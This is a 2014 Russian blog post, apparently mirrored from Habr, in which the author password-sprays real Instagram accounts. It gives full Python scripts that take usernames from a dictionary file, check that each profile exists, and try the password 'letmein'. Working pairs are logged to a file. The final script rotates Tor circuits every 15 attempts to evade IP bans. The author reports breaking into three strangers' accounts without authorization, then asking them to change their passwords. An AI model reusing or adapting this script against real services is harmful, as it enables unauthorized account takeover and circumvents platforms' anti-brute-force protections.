{"id":215829,"date":"2014-03-14T12:18:03","date_gmt":"2014-03-14T08:18:03","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=215829"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=215829","title":{"rendered":"<span class=\"post_title\">\u041a\u0430\u043a \u044f \u043d\u0435\u043c\u043d\u043e\u0433\u043e Instagram \u0443\u0432\u0451\u043b<\/span>"},"content":{"rendered":"<div class=\"content html_format\"> \t\t\t<img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/a3a\/cd7\/a12\/a3acd7a126cad46f24935b1d06916688.png\"\/><\/p>\n<p>  \u0412\u0441\u0451 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u044f \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043b <a href=\"http:\/\/habrahabr.ru\/post\/215457\/\">\u0441\u0442\u0430\u0442\u044c\u044e<\/a> \u043e \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043f\u0430\u0440\u043e\u043b\u044f\u0445 2013 \u0433\u043e\u0434\u0430. \u041a\u0430\u043a, \u0434\u0443\u043c\u0430\u044e, \u0438 \u043c\u043d\u043e\u0433\u0438\u043c, \u043c\u043d\u0435 \u043c\u043e\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0445\u043e\u0442\u0435\u043b\u043e\u0441\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043b\u0438 \u044d\u0442\u0438 \u043f\u0430\u0440\u043e\u043b\u0438 \u0442\u0430\u043a \u0443\u0436 \u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b. \u041f\u043e\u0441\u043b\u0435 \u043d\u0435\u0434\u043e\u043b\u0433\u0438\u0445 \u0440\u0430\u0437\u0434\u0443\u043c\u0438\u0439 \u0432\u044b\u0431\u043e\u0440 \u043f\u0430\u043b \u043d\u0430 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0441\u0435\u0442\u044c\/\u0441\u0435\u0440\u0432\u0438\u0441 \u043e\u0431\u043c\u0435\u043d\u0430 \u0444\u043e\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044f\u043c\u0438 \u2014 Instagram.<\/p>\n<p>  <a name=\"habracut\"><\/a>  <\/p>\n<h4>\u041f\u0435\u0440\u0432\u044b\u0435 \u0448\u0430\u0433\u0438<\/h4>\n<p>  \u041f\u0435\u0440\u0432\u043e\u0435, \u0447\u0442\u043e \u044f \u0441\u0434\u0435\u043b\u0430\u043b \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0440\u0435\u0430\u0433\u0438\u0440\u0443\u0435\u0442 \u0432\u0435\u0431-\u0432\u0435\u0440\u0441\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u0447\u0443\u0434\u0430 \u043d\u0430 \u0432\u0445\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c \u0438 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c \u043f\u0430\u0440\u043e\u043b\u0435\u043c. \u0412\u0441\u0451 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u043c, \u044f \u0434\u0430\u0436\u0435 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0441\u044f. \u041f\u0440\u0438 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u043c \u043f\u0430\u0440\u043e\u043b\u0435 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043e\u0442\u0432\u0435\u0442 \u0441 \u043a\u043e\u0434\u043e\u043c 200, \u043f\u0440\u0438 \u0432\u0435\u0440\u043d\u043e\u043c \u0436\u0435 \u2014 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043a\u043e\u0434 302 \u0438 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0442 \u043d\u0430 \u0433\u043b\u0430\u0432\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443. \u042d\u0442\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0430\u044e \u043a \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043d\u0430 python, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043b\u043e\u0433\u0438\u043d \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u0432 \u0444\u043e\u0440\u043c\u0443, \u0430 \u0437\u0430\u0442\u0435\u043c \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c, \u043f\u043e\u0434\u043e\u0448\u043b\u043e \u0438\u043b\u0438 \u043d\u0435\u0442.<\/p>\n<p>  \u041e\u043d \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b \u0432\u043e\u0442 \u0442\u0430\u043a:  <\/p>\n<blockquote>\n<pre><code>import urllib  login_data=urllib.urlensource({'username':'username','password':'password','submit':'Login'})  response = urllib.urlopen('https:\/\/instagram.com\/accounts\/login\/',login_data)  f = open('dex.html','w') f.write(response.read()) f.close()  print 'ok' <\/code><\/pre>\n<p>  <\/p><\/blockquote>\n<p>  \u041f\u0435\u0440\u0432\u044b\u0439 \u0436\u0435 \u0442\u0435\u0441\u0442 \u0432\u044b\u0434\u0430\u043b \u043e\u0448\u0438\u0431\u043a\u0443 \u00ab\u0412\u043a\u043b\u044e\u0447\u0438\u0442\u0435 \u043a\u0443\u043a\u0438\u00bb (\u00abThis page could not be loaded. If you have cookies disabled in your browser, or you are browsing in Private Mode, please try enabling cookies or turning off Private Mode, and then retrying your action.\u00bb) \u0412\u0440\u0435\u043c\u0435\u043d\u0438 \u0443 \u043c\u0435\u043d\u044f \u0431\u044b\u043b\u043e \u043d\u0435 \u0442\u0430\u043a \u043c\u043d\u043e\u0433\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0432\u044b\u0431\u0440\u0430\u043b \u0431\u044b\u0441\u0442\u0440\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e \u0434\u043b\u044f \u0442\u0435\u0441\u0442\u043e\u0432 \u0441\u0432\u043e\u0438\u0445 \u0442\u0432\u043e\u0440\u0435\u043d\u0438\u0439, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e mechanize. \u0422\u043e\u0447\u043d\u0435\u0435 \u0434\u0430\u0436\u0435 mechanize.Browser().<\/p>\n<p>  \u0412\u0442\u043e\u0440\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0443\u0436\u0435 \u0432\u043e\u0442 \u0442\u0430\u043a:  <\/p>\n<blockquote>\n<pre><code>import mechanize  name = 'username' password = 'password'  br = mechanize.Browser() br.open('https:\/\/instagram.com\/accounts\/login\/') br.select_form(nr = 0) br.form['username'] = name br.form['password'] = password br.submit()  f = open('dex.html','w') f.write(br.response().read()) f.close()  print 'ok' <\/code><\/pre>\n<p>  <\/p><\/blockquote>\n<h4>\u0412\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u0443\u0441\u043f\u0435\u0445<\/h4>\n<p>  \u0418, \u043e \u0447\u0443\u0434\u043e! \u041f\u0440\u0438 \u0432\u0435\u0440\u043d\u043e\u0439 \u0438 \u043d\u0435 \u0432\u0435\u0440\u043d\u043e\u0439 \u043f\u0430\u0440\u0435 \u043b\u043e\u0433\u0438\u043d\/\u043f\u0430\u0440\u043e\u043b\u044c \u0432\u0441\u0451 \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b\u043e\u0441\u044c, \u043a\u0430\u043a \u043d\u0443\u0436\u043d\u043e. \u041d\u043e \u043a\u043e\u0434 \u043e\u0442\u0432\u0435\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0432 \u043e\u0431\u043e\u0438\u0445 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f\u0445 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u043b 200. \u042d\u0442\u043e \u043d\u0435 \u0441\u0442\u0440\u0430\u0448\u043d\u043e, \u0432\u0435\u0434\u044c \u0432 \u043e\u0442\u0432\u0435\u0442\u0435 \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u0438 \u0441\u0430\u043c\u0443 \u0441\u0442\u0440\u0430\u043d\u0438\u0447\u043a\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0438\u0448\u043b\u0430. \u041f\u0440\u043e\u0441\u0442\u043e \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043a\u0430\u043a\u0443\u044e-\u043b\u0438\u0431\u043e \u0444\u0440\u0430\u0437\u0443 \u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435, \u0433\u043e\u0432\u043e\u0440\u044f\u0449\u0443\u044e \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0430\u0440\u043e\u043b\u044c \u043d\u0435 \u043f\u043e\u0434\u043e\u0448\u0451\u043b. \u0415\u0441\u043b\u0438 \u0442\u0430\u043a\u043e\u0439 \u043d\u0435\u0442, \u0442\u043e \u0443 \u043d\u0430\u0441 \u0432\u0441\u0451 \u043e\u0442\u043b\u0438\u0447\u043d\u043e, \u043c\u044b \u043d\u0430\u0448\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u043e \u0441\u043b\u0430\u0431\u044b\u043c \u043f\u0430\u0440\u043e\u043b\u0435\u043c.<\/p>\n<p>  \u0423 \u043c\u0435\u043d\u044f \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u043e \u0432\u043e\u0442 \u0442\u0430\u043a:<\/p>\n<blockquote>\n<pre><code>if br.response().read().find('correct username') == -1:     print 'YEP'     log_list = open('log_list.txt','ab+')     log_list.write(name + ' ' + password + '\\n')     log_list.close() else:     print 'NOPE' <\/code><\/pre>\n<p>  <\/p><\/blockquote>\n<p>  \u041f\u043e\u043a\u0430 \u0432\u0441\u0451 \u0448\u043b\u043e \u0433\u043b\u0430\u0434\u043a\u043e. Sitemap \u044f \u0442\u0430\u043a \u0438 \u043d\u0435 \u043d\u0430\u0448\u0451\u043b, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u0430\u0437\u044b \u043b\u043e\u0433\u0438\u043d\u043e\u0432 \u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043b \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0434\u043b\u044f ubuntu \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0441\u043b\u043e\u0432 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u043e\u0433\u043e \u044f\u0437\u044b\u043a\u0430 (\/usr\/share\/dict\/american-englich), \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u0440\u0430\u043b \u0432\u0441\u0435 \u0441\u043b\u043e\u0432\u0430, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0430\u043f\u043e\u0441\u0442\u0440\u043e\u0444, \u0430 \u0431\u0430\u0437\u0430 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0441\u0432\u043e\u0434\u0438\u043b\u0430\u0441\u044c, \u043f\u043e \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430, \u043a \u0431\u0430\u0437\u0435 \u0438\u0437 \u0432\u044b\u0448\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438. \u041d\u043e \u0438\u0437 \u0432\u0441\u0435\u0439 \u0431\u0430\u0437\u044b \u0440\u0443\u0447\u043d\u044b\u043c \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u043e\u043c \u0431\u044b\u043b \u0432\u044b\u044f\u0432\u043b\u0435\u043d \u0432\u0441\u0435\u0433\u043e \u043e\u0434\u0438\u043d \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u043f\u0430\u0440\u043e\u043b\u044c(\u043d\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u0438\u043d\u0441\u0442\u0430\u0433\u0440\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u0443\u0436 \u043f\u0440\u043e\u0441\u0442\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438). \u0421\u0442\u0430\u043b\u043e \u0443\u0436\u0435 \u043d\u0435 \u0442\u0430\u043a \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043d\u043e \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435 \u0445\u043e\u0442\u0435\u043b\u043e\u0441\u044c. \u041f\u043e \u043f\u0443\u0442\u0438 \u0441\u0434\u0435\u043b\u0430\u043b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443, \u0430 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043b\u0438 \u0432\u043e\u043e\u0431\u0449\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u043b\u043e\u0433\u0438\u043d\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u0432\u043f\u0443\u0441\u0442\u0443\u044e \u043d\u0435 \u0431\u0435\u0433\u0430\u0442\u044c + \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0432 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u042d\u0442\u043e \u0436\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442!<\/p>\n<p>  \u0412\u0441\u0451 \u0432\u043c\u0435\u0441\u0442\u0435 \u044d\u0442\u043e \u0443\u0436\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u043e \u0432\u043e\u0442 \u0442\u0430\u043a:<\/p>\n<blockquote>\n<pre><code>import mechanize  def checkUrl(url):     p = urlparse(url)     conn = httplib.HTTPConnection(p.netloc)     conn.request('HEAD', p.path)     resp = conn.getresponse()     return resp.status &lt; 400  names = open('american-english','r').read().split('\\n') password = 'letmein' number = 0  for name in names:     if name.find(&quot;'&quot;) == -1:         number += 1         url = 'https:\/\/instagram.com\/'+name         if checkUrl(url):             print 'not exist'         else:             print str(number) + ' ' + name              br = mechanize.Browser()             br.open('https:\/\/instagram.com\/accounts\/login\/')             br.select_form(nr = 0)             br.form['username'] = name             br.form['password'] = password             br.submit()             s = br.response().read().find('correct username')             if s == -1:                 print 'YEP'                 log_list = open('log_list.txt','ab+')                 log_list.write(name + ' ' + password + '\\n')                 log_list.close()             else:                 print 'NOPE' <\/code><\/pre>\n<p>  <\/p><\/blockquote>\n<h4>\u041d\u0435 \u0441\u0430\u043c\u0430\u044f \u043d\u0430\u0434\u0451\u0436\u043d\u0430\u044f \u0437\u0430\u0449\u0438\u0442\u0430 \u043e\u0442 \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0430<\/h4>\n<p>  \u0421\u043f\u0443\u0441\u0442\u044f 20 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u0439 \u0438\u043d\u0441\u0442\u0430\u0433\u0440\u0430\u043c \u043d\u0430\u0447\u0430\u043b \u043c\u0435\u043d\u044f \u0432\u044b\u043f\u043b\u0451\u0432\u044b\u0432\u0430\u0442\u044c \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 403 Forbidden(\u0434\u043e\u0441\u0442\u0443\u043f \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d). \u0418\u0445 \u0441\u0435\u0440\u0432\u0435\u0440 \u0434\u043e\u0433\u0430\u0434\u0430\u043b\u0441\u044f, \u0447\u0442\u043e \u044f \u0434\u0435\u043b\u0430\u044e \u0447\u0442\u043e-\u0442\u043e \u043f\u043b\u043e\u0445\u043e\u0435. \u042f \u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0438\u0433\u0440\u0430\u0442\u044c \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u043a\u0443\u043a\u0430\u043c\u0438 \u0438 \u043f\u043e\u0434\u043c\u0435\u043d\u0430\u043c\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430. \u041d\u0435\u0442 \u043d\u0435 \u043f\u0443\u0441\u043a\u0430\u043b, \u0437\u043d\u0430\u0447\u0438\u0442 \u0431\u0430\u043d\u044f\u0442 \u043f\u043e ip. \u041d\u0443\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u043a\u0441\u0438. \u0421\u0430\u043c\u044b\u043c \u0431\u044b\u0441\u0442\u0440\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u044f \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u044f \u043d\u0430\u0448\u0451\u043b tor. \u041c\u0435\u0442\u043e\u0434\u043e\u043c \u043d\u0430\u0443\u0447\u043d\u043e\u0433\u043e \u0442\u044b\u043a\u0430 \u0431\u044b\u043b\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043e, \u0447\u0442\u043e \u0441\u043c\u0435\u043d\u0430 ip \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u043f\u043e\u0441\u043b\u0435 \u043a\u0430\u0436\u0434\u044b\u0445 15 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439. \u041c\u0430\u0448\u0438\u043d\u0430 \u0437\u0430\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430!<\/p>\n<p>  \u0424\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<blockquote>\n<pre><code>import os, socks, socket, mechanize, cookielib, httplib from urlparse import urlparse  def checkUrl(url):     p = urlparse(url)     conn = httplib.HTTPConnection(p.netloc)     conn.request('HEAD', p.path)     resp = conn.getresponse()     return resp.status &lt; 400  def create_connection(address, timeout=None, source_address=None):     sock = socks.socksocket()     sock.connect(address)     return sock  socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, &quot;127.0.0.1&quot;, 9050) socket.socket = socks.socksocket socket.create_connection = create_connection  names = open('american-english','r').read().split('\\n') password = 'letmein' number = 0  for name in names:     if name.find(&quot;'&quot;) == -1: \t    if number%15 == 0: \t        os.system('service tor restart') \t    number += 1 \t    url = 'https:\/\/instagram.com\/'+name \t    if checkUrl(url): \t        print 'not exist' \t    else: \t        try: \t            print str(number) + ' ' + name  \t            br = mechanize.Browser() \t            br.set_handle_equiv(True) \t            br.set_handle_redirect(True) \t            br.set_handle_robots(False) \t            br.open('https:\/\/instagram.com\/accounts\/login\/') \t            br.select_form(nr = 0) \t            br.form['username'] = name \t            br.form['password'] = password \t            br.submit() \t            if br.response().read().find('correct username') == -1: \t                print 'YEP' \t                log_list = open('log_list.txt','ab+') \t                log_list.write(name + ' ' + password + '\\n') \t                log_list.close() \t            else: \t                print 'NOPE' \t        except: \t            print 'something wrong' \t            pass <\/code><\/pre>\n<p>  <\/p><\/blockquote>\n<p>  \u041e\u0441\u0442\u0430\u0432\u0438\u043b \u0435\u0433\u043e \u0442\u0440\u0443\u0434\u0438\u0442\u044c\u0441\u044f \u043d\u0430 \u043d\u043e\u0447\u044c. <\/p>\n<h4>\u041e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u0445.<\/h4>\n<p>  \u0423\u0442\u0440\u043e\u043c \u043f\u0440\u043e\u0441\u043d\u0443\u043b\u0441\u044f \u043a\u0430\u043a \u0432 \u041d\u043e\u0432\u044b\u0439 \u0413\u043e\u0434 \u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0438, \u043a\u0430\u043a\u043e\u0439 \u0436\u0435 \u043f\u043e\u0434\u0430\u0440\u043e\u043a \u043c\u043d\u0435 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043c\u043e\u0439 \u0442\u0440\u0443\u0434\u043e\u043b\u044e\u0431\u0438\u0432\u044b\u0439 \u044d\u043b\u044c\u0444. \u0418\u0442\u043e\u0433\u043e \u0431\u044b\u043b\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e 9103 \u0438\u043c\u0435\u043d\u0438(\u0434\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u0432\u0441\u0435 \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430, \u044f \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b \u0441\u043a\u0440\u0438\u043f\u0442), \u0438\u0437 \u043d\u0438\u0445 \u0442\u0440\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c. \u042d\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e 0.03% \u043e\u043f\u0440\u043e\u0448\u0435\u043d\u044b\u0445 \u2014 \u043d\u0435 \u0442\u0430\u043a \u0438 \u043c\u0430\u043b\u043e. \u042f \u0431\u044b\u043b \u0431\u044b \u0440\u0430\u0434, \u0435\u0441\u043b\u0438 \u0431\u044b \u043d\u0430\u0448\u0451\u043b\u0441\u044f \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u0438\u043d. \u0421\u0432\u044f\u0437\u0430\u043b\u0441\u044f \u0441 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c\u0438 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u043e\u0432 \u0441 \u043f\u0440\u043e\u0441\u044c\u0431\u043e\u0439 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c. \u0422\u0435\u043f\u0435\u0440\u044c \u0432 \u043c\u0438\u0440\u0435 \u043d\u0430 3 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043c\u0435\u043d\u044c\u0448\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0441\u043b\u0430\u0431\u0435\u043d\u044c\u043a\u0438\u0435 \u043f\u0430\u0440\u043e\u043b\u0438, \u0437\u0430\u0449\u0438\u0449\u0430\u044f \u0441\u0432\u043e\u0438 \u043b\u044e\u0431\u0438\u043c\u044b\u0435 \u0444\u043e\u0442\u043e\u0447\u043a\u0438.<\/p>\n<p>  \u0412\u0441\u0435\u043c \u0441\u043f\u0430\u0441\u0438\u0431\u043e \u0437\u0430 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435. \t\t\t<\/p>\n<div class=\"clear\"><\/div>\n<\/p><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/215829\/\"> http:\/\/habrahabr.ru\/post\/215829\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"content html_format\"> \t\t\t<img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/a3a\/cd7\/a12\/a3acd7a126cad46f24935b1d06916688.png\"\/><\/p>\n<p>  \u0412\u0441\u0451 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u044f \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043b <a href=\"http:\/\/habrahabr.ru\/post\/215457\/\">\u0441\u0442\u0430\u0442\u044c\u044e<\/a> \u043e \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043f\u0430\u0440\u043e\u043b\u044f\u0445 2013 \u0433\u043e\u0434\u0430. \u041a\u0430\u043a, \u0434\u0443\u043c\u0430\u044e, \u0438 \u043c\u043d\u043e\u0433\u0438\u043c, \u043c\u043d\u0435 \u043c\u043e\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0445\u043e\u0442\u0435\u043b\u043e\u0441\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043b\u0438 \u044d\u0442\u0438 \u043f\u0430\u0440\u043e\u043b\u0438 \u0442\u0430\u043a \u0443\u0436 \u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b. \u041f\u043e\u0441\u043b\u0435 \u043d\u0435\u0434\u043e\u043b\u0433\u0438\u0445 \u0440\u0430\u0437\u0434\u0443\u043c\u0438\u0439 \u0432\u044b\u0431\u043e\u0440 \u043f\u0430\u043b \u043d\u0430 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0441\u0435\u0442\u044c\/\u0441\u0435\u0440\u0432\u0438\u0441 \u043e\u0431\u043c\u0435\u043d\u0430 \u0444\u043e\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044f\u043c\u0438 \u2014 Instagram.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-215829","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/215829","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=215829"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/215829\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=215829"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=215829"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=215829"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}